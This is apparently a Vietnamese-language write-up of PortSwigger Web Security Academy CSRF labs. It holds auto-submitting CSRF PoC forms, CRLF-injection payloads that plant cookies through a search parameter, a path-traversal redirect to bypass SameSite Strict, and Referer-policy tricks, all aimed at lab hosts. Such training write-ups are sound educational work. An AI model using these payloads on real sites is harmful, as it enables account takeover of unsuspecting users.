Post

PORTSWIGGER | Cross-site request forgery (CSRF)

PORTSWIGGER | Cross-site request forgery (CSRF)

CSRF vulnerability with no defenses

This lab’s email change functionality is vulnerable to CSRF. To solve the lab, craft some HTML that uses a CSRF attack to change the viewer’s email address and upload it to your exploit server.

You can log in to your own account using the following credentials: wiener:peter

Sau khi đăng nhập với thông tin được cung cấp trong đề bài thì ta vào được giao diện của user với chức năng cập nhật email như bên dưới:

Cập nhật email của người dùng thì thu được request như bên dưới

Sử dụng CSRF PoC Generator đối với request trên thì thu được kết quả như sau:

Dán đoạn mã vừa tạo vào Exploit server và dán đoạn mã vừa tạo:

Lưu ý là phải thay đổi email để không trùng với email mà chúng ta vừa cập nhật lúc đó

Lưu trữ payload và chuyển payload đến với vitim là ta đã hoàn thành được bài lab này

CSRF where token validation depends on token being present

This lab’s email change functionality is vulnerable to CSRF. To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address.

You can log in to your own account using the following credentials: wiener:peter

Tiếp tục đăng nhập với thông tin đăng nhập được cung cấp thì ta vào được giao diện cập nhật mail:

Cập nhật email và quay trở lại burp thì thu được request sau:

Nhận thấy request này được bảo vệ khỏi csrf bởi việc gửi kèm csrf token cùng với request

Thử xóa bỏ chuỗi csrf trong request đi thì ta cập nhật email thành công -> dù chúng ta không gửi chuỗi csrf token cùng với request thì server vẫn chấp nhận và xử lý

Từ thông tin trên thì ta xóa bỏ csrf trong requets ban đầu và tạo POC thì thu được payload như sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0abc005204b1be8a802c128e00f50088.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="exploit&#64;gmail&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Store đoạn mã vào exploit server và gửi tới victim là ta sẽ giải quyết được bài lab:

CSRF where token validation depends on request method

This lab’s email change functionality is vulnerable to CSRF. It attempts to block CSRF attacks, but only applies defenses to certain types of requests. To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address.

You can log in to your own account using the following credentials: wiener:peter

Đăng nhập bằng thông tin đăng nhập được cung cấp thì vào được giao diện cập nhật email như sau:

Cập nhật email và bắt request thì thu được request như sau:

Nhận thấy trong bài lab này thì request đã được bảo vệ bởi 1 chuỗi chống crsf

Thử xóa giá trị này đi thì thu được phản hồi như sau:

Từ kết quả trên chứng tỏ request yêu cầu phải có token csrf đi kèm. Tuy nhiên khi ta đổi phương thức từ POST sang GET thì lại có thể cập nhật email thành công -> server không xử lí việc ngăn chặn csrf với phương thức này:

Tạo PoC với request có phương thức GET thì thu được đoạn mã sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a20008f04de257681040cd000db00e5.web-security-academy.net/my-account/change-email">
      <input type="hidden" name="email" value="exploit&#64;gmail&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Store vào exploit server và chuyển tới victim thì giải quyết được bài lab này

CSRF where token is not tied to user session

This lab’s email change functionality is vulnerable to CSRF. It uses tokens to try to prevent CSRF attacks, but they aren’t integrated into the site’s session handling system. To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address.

You have two accounts on the application that you can use to help design your attack. The credentials are as follows:

wiener:peter

carlos:montoya

Sử dụng thông tin đăng nhập của người dùng weiner đăng nhập thì vào được giao diện cập nhật email như sau:

Cập nhật email thì thu được request như sau, nhận thấy trong request cũng được bảo vệ bởi token csrf:

Thử xóa bỏ csrf token và đổi method sang get thì đều nhận phản hồi thất bại, ngoài ra ta cũng không thể tái sử dụng token cũ:

Nhận thấy còn tài khoản của người dùng carlos không được dùng đến nên ta đăng nhập vào người dùng này để xem có thể lấy chuỗi csrf của carlos cập nhật email cho người dùng weiner hay không:

Sau khi đăng nhập thì thu được token csrf như sau:

1
4GICXMfNtMhjNgZyNU41c1zQGphEBEeL

sử dụng token này để cập nhật email cho người dùng weiner thì kết quả là thành công:

Từ thông tin trên có thể thấy lỗi server không quản lý csrf token cùng với phiên đăng nhập của người dùng dẫn đến có thể dùng token này chéo với phiên của người dùng khác

Vì token csrf chỉ được sử dụng 1 lần nên đăng nhập lại vào người dùng weiner hoặc carlos để nhận csrf sau đó thay thế token này vào POC

Từ đó thu được kết quả như sau:

QSW3Y3lT8lhOWuaDx2bOp0DkVcwV9nXv
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a2000a603b8d24f807b039000b800a5.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="exploit&#64;gmail&#46;com" />
      <input type="hidden" name="csrf" value="QSW3Y3lT8lhOWuaDx2bOp0DkVcwV9nXv" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Lưu payload lên exploit server và gửi tới victim thì giải quyết thành công bài lab:

This lab’s email change functionality is vulnerable to CSRF. It uses tokens to try to prevent CSRF attacks, but they aren’t fully integrated into the site’s session handling system. To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address.

You have two accounts on the application that you can use to help design your attack. The credentials are as follows:

wiener:peter

carlos:montoya

Tiếp tục đăng nhập với thông tin xác thực của người dùng weiner để vào giao diện cập nhật email:

Cập nhật email và bắt request thì nhận được request có chứa token csrf như sau:

Thử xóa token và chuyển method thì đều nhận được các phản hồi lỗi như sau:

Tuy nhiên token lại có thể sử dụng lại được nhiều lần:

Thử đăng nhập với người dùng carlos để thử tái sử dụng token csrf bên trên:

So sánh 2 request của 2 người dùng thi nhận được kết quả như sau:

Nhận thấy trong phần cookie của 2 người dùng có thêm 1 trường là csrfKey nên ta thử xóa nó để kiểm tra kết quả:

Nhận thấy server chỉ kiểm tra phiên của người dùng thông qua giá trị session, còn khi ta xóa csrfKey của người dùng thì người dùng lại không bị đăng xuất nên ý tưởng là tráo cặp (csrfKey, csrf token) của 2 user cho nhau

Để ý cặp giá trị của người dùng weiner và carlos lần lượt như sau:

usercsrfKeycsrf token
carlosH6r1Yja8snUBPrfrFs8nI8ARMpWTk4rcYUqg4SA1CVkrn4lpp7SsTssGd0RJH7wN
weineraMQzvWD2JV1jmEW94hsHpgff6KFobh5FpzQC1jIOGOgwn2g9xjb0tn10EShnZblW

Sau khi tráo đổi cặp giá trị này của người dùng carlos cho weiner thì nhận được kết quảlà cập nhật email thành công

Chúng ta đã có thể thao túng cặp khóa csrf để đánh lừa server. Tuy nhiên khi tạo form thì chỉ có thể đính kèm giá trị csrftoken vào đó, vấn đề là csrfKey lại nằm trong cookie của người dùng. Vì vậy ta phải tìm cách ra cách nào đó có thể thao túng được trường csrfKey trong cookie của người dùng thì mới giải quyết được thử thách này

Để ý thì trong mục trang chủ có 1 tính năng mà ta chưa dùng đến đó là search:

Thử search 1 giá trị thì nhận được kết quả như sau:

Nhận thấy thì giá trị chúng ta vừa search lại được thêm vào cookie nên ở đây ta thao túng lỗi này thông qua kỹ thuật CRLF Injection với request như sau:

1
GET /?search=dopamean%0d%0aSet-Cookie:%20csrfKey=H6r1Yja8snUBPrfrFs8nI8ARMpWTk4rc

Kết quả thu được như sau:

csrfKey của người dùng carlos đã được chèn thành công vào Cookie của người dùng weiner

Từ đây ta có thể tạo ra payload để gửi lên server như sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a4c00f60470b82b802b21a200e9008d.web-security-academy.net/">
      <input type="hidden" name="search" value="dopamean&#13;&#10;Set&#45;Cookie&#58;&#32;csrfKey&#61;H6r1Yja8snUBPrfrFs8nI8ARMpWTk4rc" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Sau lưu payload và chuyển nó cho victim thì Cookie của người dùng đó đã được thao túng với giá trị csrfKey theo như ý muốn của ta. Tiếp đến ta tạo thêm 1 payload nữa để thay đổi email với giá trị csrftoken phù hợp với csrfKey ở payload bên trên:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a4c00f60470b82b802b21a200e9008d.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="exploit&#64;gmail&#46;com" />
      <input type="hidden" name="csrf" value="YUqg4SA1CVkrn4lpp7SsTssGd0RJH7wN" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Tiếp tục lưu payload và chuyển nó tới victim thì sẽ giải quyết được thử thách

This lab’s email change functionality is vulnerable to CSRF. It attempts to use the insecure “double submit” CSRF prevention technique.

To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address.

You can log in to your own account using the following credentials: wiener:peter

Đăng nhập với thông tin đăng nhập được cung cấp thì truy cập được giao diện cập nhật email như sau:

Tương tự như các bài trước thì trong tính năng cập nhật email cũng được bảo vệ bởi csrftoken, tuy nhiên giá trị này lần này lại xuất hiện trong cả Cookie của người dùng:

Thử tái sử dụng token này để cập nhật 1 giá trị email khác thì xác nhận được có thể tái sử dụng token này:

Tuy nhiên khi xóa bỏ giá trị csrf trong phần body của request thì có báo lỗi:

Vì 1 token có thể tái sử dụng được nhiều lần trong phiên đăng nhập của người dùng nên mình thử xóa giá trị này trong Cookie của người dùng và quan sát kết quả thì thu được thông tin sau:

Khi xóa bỏ trường csrf trong mục cookie thì lại có thông báo csrf token không hợp lệ. Vậy điều đó khẳng định là giá trị csrf được gửi trong phần body của request phải được xác thực thông qua giá trị crsf token trong phần Cookie của người dùng, hay nói cách khác thì trong trường hợp này 2 giá trị csrf token này phải trùng khớp với nhau.

Vậy vậy thì ta cần thao túng cookie của người dùng victim bằng một token do chúng ta kiểm soát

Để ý thì trong mục trang chủ có cho chúng ta tìm kiếm, và giá trị ta tìm kiếm lại được đặt vào phần Cookie của người dùng:

Sử dụng CRLF Injection với request như sau để thao túng Cookie của victim:

Tạo payload từ requets trên thì thu được kết quả như sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a59008803b1d76881a3fe5500be002e.web-security-academy.net/">
      <input type="hidden" name="search" value="dopamean&#13;&#10;Set&#45;Cookie&#58;&#32;csrf&#61;rQ9hHTqVMOSJ7GzyMjHse7Qrjb9J6vSQ" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Store payload trên và gửi payload đến victim thì ta sẽ thành công thao túng cookie của người dùng victim

Tiếp đó tạo payload csrf để thay đổi email của người dùng victim như sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a59008803b1d76881a3fe5500be002e.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="exploit&#64;gmail&#46;com" />
      <input type="hidden" name="csrf" value="rQ9hHTqVMOSJ7GzyMjHse7Qrjb9J6vSQ" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Lưu trữ payload và gửi nó đến cho victim thì thành công giải quyết thử thách:

SameSite Lax bypass via method override

This lab’s change email function is vulnerable to CSRF. To solve the lab, perform a CSRF attack that changes the victim’s email address. You should use the provided exploit server to host your attack.

You can log in to your own account using the following credentials: wiener:peter

Đăng nhập với thông tin xác thực được cung cấp thì vào được giao diện cập nhật email:

Khi cập nhật email thì thu được 1 request như sau:

Nhận thấy trong request này không kèm theo giá trị csrf token nên có khả năng khai thác csrf

Tuy nhiên khi gửi payload sau lên server thì lại không nhận được phản hồi hoàn thành thử thách

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a3100680478968f81192a2500e50004.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="dopamean&#64;gmail&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Đọc lại tiêu đề và gợi ý của đề bài và research thì mình thu thập được 1 số thông tin sau:

Sẵn sàng cho chế độ cài đặt cookie mới SameSite=None; Secure  |  Google Search Central Blog  |  Google for Developers

Sẵn sàng cho chế độ cài đặt cookie mới SameSite=None; Secure  |  Google Search Central Blog  |  Google for Developers

Do cookie không được khai báo giá trị cho SameSite nên mặc định nó nhận giá trị là Lax

Ngoài ra Lax thì không cho phép gửi cookie trong trường hợp request có method là POST đối với các trang web của bên thứ 3, chính nó là lý do khiến payload khai thác bên trên thất bại:

Tấn công CSRF và các vấn đề xung quanh

Giới thiệu một chút về Web Cookies Do HTTP là giao thức không trạng thái, các request trước và sau không hề liên quan đến nhau. HTTP không thể phân biệt người dùng này với người dùng khác được. Để giả...

Tấn công CSRF và các vấn đề xung quanh

Vậy để có thể qua mặt được Lax của SameSite thì ta cần sử dụng phương thức GET

Chuyển request cập nhật email sang GET thì nhận được phản hồi như sau:

Việc chuyển request sang method GET khiến server trả về lỗi, nó chỉ xử lý các request có method là POST, vì vậy nhiệm vụ là phải ghi đè request GET bên trên bằng method POST.

Sau 1 hồi tìm kiếm thì mình tìm được bài viết này (Bài viết cũng giải thích lý do tại sao phải dùng Method HTTP Method Override và cách cấu hình chúng):

HTTP Method Override

Introduction HTTP method override is a technique used to support clients that do not...

HTTP Method Override

Với nội dung cần chú ý là:

Thêm trường _method và query thì thu được kết quả như sau:

Việc ghi đè Method đã thành công. Bây giờ tạo payload từ request bên trên thì thu được payload như sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0aad003b04aa06c380fd034600cf00e2.web-security-academy.net/my-account/change-email">
      <input type="hidden" name="email" value="exploit&#64;gmail&#46;com" />
      <input type="hidden" name="&#95;method" value="POST" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Lưu payload và chuyển nó tới cho victim thì giải quyết được thử thách:

SameSite Strict bypass via client-side redirect

This lab’s change email function is vulnerable to CSRF. To solve the lab, perform a CSRF attack that changes the victim’s email address. You should use the provided exploit server to host your attack.

You can log in to your own account using the following credentials: wiener:peter

Đăng nhập với thông tin xác thực được cung cấp thì truy cập được giao diện cập nhật email:

Cập nhật email thì thu được request như sau:

Nhận thấy sau khi đăng nhập thành công thì giá trị của cookie được đặt với SameSite là Strict:

Như đã trích dẫn ở bên trên thì khi thuộc tính SameSite được đặt là Strict, cookie sẽ không được gửi cùng với các request được bắt đầu bởi các trang web của bên thứ 3.

Tuy nhiên trong trang web vẫn còn 1 tính năng mà chúng ta chưa dùng đến đó là tính năng đăng bình luận:

Thử post 1 comment thì nhận được request như sau:

Sau request trên thì có thêm 1 request nữa xuất hiện trong thoáng chốc rồi biến mất, đó là request này:

View Source thì thấy có đoạn javascript để xử lý tính năng này:

Kiểm tra source code thì thu được một đoạn mã như sau:

1
2
3
4
5
6
7
redirectOnConfirmation = (blogPath) => {
    setTimeout(() => {
        const url = new URL(window.location);
        const postId = url.searchParams.get("postId");
        window.location = blogPath + '/' + postId;
    }, 3000);
}

Nhận thấy đoạn code trên chuyển hướng tới url bất kì mà không thông qua bộ lọc nào cả, ngoài ra thì khi chuyển hướng nó sẽ chuyển hướng tới /post/{id} như hình dưới:

Do đó ta có thể tận dụng path traversal để truy cập vào các enpoint trên trang web thì nhận được kết quả thành công

Khi gửi request tới /post/comment/confirmation?postId=../my-account

Thì sau đó 1 khoảng thời gian đã có request chuyển hướng tới my-account:

Xác nhận lại 1 lần nữa với /post/comment/confirmation?postId=../logout

Kết quả là đã có request chuyển hướng tới logout xác nhận việc path traversal thành công

Vì request thay đổi email có method là POST nên không thể tận dụng được request dính lỗ hổng path traversal bên trên nên mình thử chuyển dạng request trên từ POST sang GET thì nhận được kết quả như sau:

Điều này xác nhận việc có thể thay đổi email bằng request với method là GET

Từ những dữ kiện trên thì để thay đổi được email của người dùng victim thì cần có request như sau:

1
https://0a4400c104f38d7e80e26c6900d30013.web-security-academy.net/post/comment/confirmation?postId=../my-account/change-email?email=exploit%40gmail.com&submit=1

Từ đó ta tạo được payload như sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0a4400c104f38d7e80e26c6900d30013.web-security-academy.net/post/comment/confirmation">
      <input type="hidden" name="postId" value="&#46;&#46;&#47;my&#45;account&#47;change&#45;email&#63;email&#61;exploit&#64;gmail&#46;com&amp;submit&#61;1" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Store payload và gửi tới cho victim thì hoàn thành được thử thách

CSRF where Referer validation depends on header being present

This lab’s email change functionality is vulnerable to CSRF. It attempts to block cross domain requests but has an insecure fallback.

To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address.

You can log in to your own account using the following credentials: wiener:peter

Đăng nhập với thông tin đăng nhập được cung cấp thì ta vào được giao diện cập nhật mail như sau:

Cập nhật email và bắt request thì thu được request như sau:

Nhận thấy trong request này không có token để bảo vệ khỏi csrf nên mình thử tạo payload và test:

1
2
3
4
5
6
7
8
9
10
11
12
13
<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
    <form action="https://0ac5007903d5bb1981a74e9b006d005c.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="dopamean&#64;gmail&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Sau khi store và nhấn view exploit thì mình nhận được kết quả như sau:

Nhận thấy trang web này bảo vệ việc csrf thông qua việc kiểm tra referer

Quay trở lại burpsuite và thử sửa referer thì nhận được kết quả tương tự:

Sau khi chỉnh sửa referer thì mình thấy server chỉ chấp nhận các referer tới từ cùng trang web đó. Tuy nhiên khi mình xóa trường referer này đi thì request đổi email vẫn được thực hiện thành công:

Vì payload chúng ta tạo bên trên là 1 form html, mà theo mặc định, khi bất kỳ một form HTML nào được submit tới một máy chủ, trình duyệt web sẽ tự động sinh ra và đính kèm header Referer vào HTTP request. Header này chứa URL của trang web đang chứa form đó. Nên để yêu cầu trình duyệt chặn việc gửi thông tin Referer thì ta cần thêm thẻ cấu hình vào payload bên trên:

1
<meta name="referrer" content="no-referrer">

hoặc

1
<meta name="referrer" content="never">

kết quả là được payload cuối cùng như sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
  <head>
    <meta name="referrer" content="never">
  </head>
  <body>
    <form action="https://0ac5007903d5bb1981a74e9b006d005c.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="hello&#64;gmail&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', '/');
      document.forms[0].submit();
    </script>
  </body>
</html>

Store payload và thử view exploit thì nhận được kết quả thành công:

Lưu lại payload với email khác với các email đã test và gửi cho victim thì hoàn thành được thử thách:

CSRF with broken Referer validation

This lab’s email change functionality is vulnerable to CSRF. It attempts to detect and block cross domain requests, but the detection mechanism can be bypassed.

To solve the lab, use your exploit server to host an HTML page that uses a CSRF attack to change the viewer’s email address.

You can log in to your own account using the following credentials: wiener:peter

Đăng nhập với thông tin xác thực được cung cấp thì vào được giao diện cập nhật email:

Cập nhật email thì thu được request như sau:

Nhận thấy trong request cũng không có token csrf nên mình tạo payload để chạy thử và nhận được thông báo lỗi như sau:

Quay trở lại burpsuite thử xóa referer để bypass thì kết quả vẫn không thành công:

Tuy nhiên khi mình thêm 1 chuỗi nào đó bất kì trước tên tên miền chuẩn của trang web thì kết quả lại thành công:

Từ đó chứng tỏ server chỉ kiểm tra xem chuỗi domain có nằm trong referer hay không -> Server kiểm tra đầu vào không chặt chẽ trong trường hợp này

Vậy để bypass được lỗi trên thì ta dùng đến hàm pushState của JavaScript với cú pháp như sau:

1
history.pushState(state, title, url);

Trong đó:

  1. Tham số state: Đây là một đối tượng (object) JavaScript chứa dữ liệu liên quan đến trạng thái URL mới mà bạn vừa tạo ra. Khi người dùng nhấn nút Back (Quay lại) hoặc Forward (Tiến tới) trên trình duyệt, một sự kiện có tên là popstate sẽ được kích hoạt và bạn có thể lấy lại dữ liệu từ đối tượng state này để khôi phục giao diện. Nếu bạn không cần lưu trữ dữ liệu gì phức tạp (như trong trường hợp đoạn mã PoC của bạn), bạn có thể truyền vào một chuỗi rỗng ‘’, hoặc null, hoặc một object rỗng {}.

  2. Tham số title: Ban đầu, tham số này được thiết kế để thay đổi tiêu đề của thẻ trình duyệt (giống như thẻ title trong HTML) cho trạng thái lịch sử mới. Tuy nhiên, hiện tại hầu hết các trình duyệt web hiện đại (Chrome, Firefox, Safari) đều bỏ qua tham số này. Để đảm bảo tính tương thích với cấu trúc của hàm hoặc phòng trường hợp tương lai các trình duyệt sử dụng lại nó, lập trình viên thường truyền vào một chuỗi rỗng ‘’.

  3. Tham số url:: Đây là đường dẫn (URL) mới sẽ hiển thị trên thanh địa chỉ của trình duyệt.

Quy tắc quan trọng (Same-Origin Policy): URL mới này bắt buộc phải có cùng nguồn gốc (cùng tên miền, giao thức và cổng) với URL hiện tại. Nếu bạn đang ở https://example.com/page1 mà cố tình truyền URL mới là https://google.com, trình duyệt sẽ báo lỗi bảo mật ngay lập tức.

Lưu ý: Tham số này có thể là đường dẫn tuyệt đối (ví dụ: https://example.com/page2) hoặc đường dẫn tương đối (ví dụ: /page2, ?id=123). Nếu bạn bỏ trống tham số này, trình duyệt sẽ giữ nguyên URL hiện tại.

Vì vậy ta tạo payload như sau:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<html>
  <head>
    <meta name="referrer" content="unsafe-url">
  </head>
  <body>
    <form action="https://0a5e008e03356d70823b1ae8002b007a.web-security-academy.net/my-account/change-email" method="POST">
      <input type="hidden" name="email" value="tranvannghia&#64;gmail&#46;com" />
      <input type="submit" value="Submit request" />
    </form>
    <script>
      history.pushState('', '', "/?0a5e008e03356d70823b1ae8002b007a.web-security-academy.net");
      document.forms[0].submit();
    </script>
  </body>
</html>

Lưu payload và chạy thử thì nhận được kết quả thành công:

Lưu ý: khi mình thử nghiệm payload thì ban đầu không thành công dù đã sử dụng pushState. Tuy nhiên sau khi tìm hiểu thì mình biết được là các trình duyệt hiện đại (như Chrome, Firefox) áp dụng một chính sách mặc định gọi là strict-origin-when-cross-origin. Khi gửi request từ trang web này sang trang web khác (cross-origin), trình duyệt sẽ tự động cắt bỏ toàn bộ phần đường dẫn và tham số (query string), chỉ giữ lại tên miền gốc nên phần query chứa chuỗi tên miền đằng sau sẽ bị cắt bỏ đi dẫn đến thất bại

Referrer-Policy header - HTTP | MDN

The HTTP Referrer-Policy response header controls how much referrer information (sent with the Referer header) should be included with requests. Aside from the HTTP header, you can set this policy in HTML.

Để giải quyết vấn đề này thì mình đã thêm

1
    <meta name="referrer" content="unsafe-url">

vào payload và kết quả là đã đổi email thành công

Trong trường hợp Referrer-Policy nhận giá trị mặc định thì nhận được phản hồi lỗi:

Kết quả trong trường hợp Referrer-Policy được đặt là unsafe-url:

Cuối cùng gửi payload này đến cho victim để giải quyết thử thách:

This post is licensed under CC BY 4.0 by the author.